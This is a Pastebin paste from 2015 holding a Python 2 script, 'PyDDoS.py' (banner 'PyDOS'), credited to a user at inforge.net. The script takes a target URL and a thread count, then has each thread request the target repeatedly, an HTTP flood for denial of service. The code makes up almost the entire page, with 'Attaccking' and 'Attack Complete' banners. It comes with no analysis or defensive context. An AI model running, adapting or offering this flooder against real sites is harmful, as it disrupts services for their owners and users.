Advertisement
Guest User

PyDDoS.py

a guest
Mar 25th, 2015
661
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.57 KB | None | 0 0
  1. #/usr/bin/Python
  2. # -*- coding: utf-8 -*-
  3. import sys
  4. import time
  5. import threading
  6. import urllib
  7.  
  8. print "\n"*100
  9. print "-=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  10. print "           -=[#]! PyDOS ![#]=-      \n"
  11. print "      -=[#]! Azazel@inforge.net ![#]=-\n"
  12. print "-=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  13. p="             [#]! Py.Python;"
  14. E="             [#]! D. Denial;"
  15. o="             [#]! O. Of;"
  16. s="             [#]! S. Service."
  17. print p
  18. print E
  19. print o
  20. print s,"\n"
  21. print "-=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  22. time.sleep(3)
  23.  
  24. a=1
  25. b=threading.Lock()
  26.  
  27. class dos(threading.Thread):
  28.     def __init__(self, host, threads):
  29.         threading.Thread.__init__(self)
  30.         self.host = host
  31.         self.threads = threads
  32.     def run(self):
  33.         global a
  34.         global b
  35.         b.acquire()
  36.         print "\n                          °°° Attaccking °°° {0}".format(self.threads)
  37.         b.release()
  38.         while 1 == a:
  39.             try:
  40.                 urllib.urlopen(self.host).read
  41.                 try:
  42.                     urllib.urlopen(self.host).read
  43.                 except:
  44.                     pass
  45.             except:
  46.                 pass
  47.         b.acquire()
  48.         print "                          °°°  Quitting  °°° {0}\n".format(self.threads)
  49.         b.release()
  50.         sys.exit()
  51. try:
  52.     threads=input("             [#]! Threads : ")
  53. except NameError:
  54.     print  "\n-=[#]! Insert Number of Threads ![#]=-\n"
  55.     sys.exit()
  56. while True:
  57.     host=raw_input("\n             [#]! Target  : ")
  58.     print "\n                -=[#]! Checking Target... ![#]=-\n"
  59.     time.sleep(2)
  60.     try:
  61.         urllib.urlopen(host)
  62.     except IOError:
  63.         print "\n-=[#]! Connection Error Verify Target ![#]=-\n"
  64.         sys.exit()
  65.     else:
  66.         break
  67. print "\n"*100
  68. print "             -=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  69. print "                      -=[#]! PyDOS Dossier ![#]=-     \n"
  70. print "                  [#]! Target : %s        \n"%(host)
  71. print "                           [#]! Threads: %d        \n"%(threads)
  72. print "               -=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  73. c=raw_input("                    Is this correct ? ( Y/N ) > ")
  74. if c=="Y":
  75.     pass
  76. elif c=="N":
  77.     print "\n                           OK, Stopping.\n"
  78.     sys.exit()
  79. for A in xrange(threads):
  80.     dos(host, A+1).start()
  81. a=0
  82. print "\n             -=0==1==0==1==0==1==0==1==0==1==0==1==0=-\n"
  83. print "                      -=[#]! Attack Complete ![#]=-     \n"
  84. print "               -=0==1==0==1==0==1==0==1==0==1==0==1==0=-"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement